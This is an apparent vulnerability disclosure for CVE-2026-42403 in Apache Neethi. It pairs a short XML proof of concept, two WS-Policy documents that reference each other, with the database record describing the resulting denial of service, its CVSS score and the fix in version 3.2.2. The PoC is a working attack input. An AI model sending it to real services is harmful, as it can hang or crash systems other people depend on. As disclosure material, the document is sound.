CVE-2026-42403

<!-- PoC for CVE-2026-42403: Circular Reference in WS-Policy --> <!-- This XML document creates a circular reference between PolicyA and PolicyB --> <wsp:Policy xmlns:wsp="http://schemas.xmlsoap.org/ws/2004/09/policy" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" wsu:Id="PolicyA"> <wsp:ExactlyOne> <wsp:All> <wsp:PolicyReference URI="#PolicyB"/> </wsp:All> </wsp:ExactlyOne> </wsp:Policy> <wsp:Policy xmlns:wsp="http://schemas.xmlsoap.org/ws/2004/09/policy" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" wsu:Id="PolicyB"> <wsp:ExactlyOne> <wsp:All> <wsp:PolicyReference URI="#PolicyA"/> </wsp:All> </wsp:ExactlyOne> </wsp:Policy>

{"cve": {"id": "CVE-2026-42403", "sourceIdentifier": "[email protected]", "published": "2026-05-01T09:16:17.137", "lastModified": "2026-05-01T18:08:21.653", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Apache Neethi does not properly detect circular references in policy definitions. When a WS-Policy document contains circular policy references (where Policy A references Policy B which references Policy A), the policy normalization process can enter an infinite loop or cause excessive recursion, leading to a stack overflow or application hang. An attacker can craft malicious policy documents with circular references to cause a Denial of Service condition\n\nUsers are recommended to upgrade to version 3.2.2, which fixes this issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:neethi:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.2.2", "matchCriteriaId": "919C93DA-F5F7-4F2B-AD9B-C3BD46065619"}]}]}], "references": [{"url": "https://lists.apache.org/thread/zm6t8skkkskjwk1881l4m4n0l7dqclzo", "source": "[email protected]", "tags": ["Mailing List", "Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/05/01/7", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}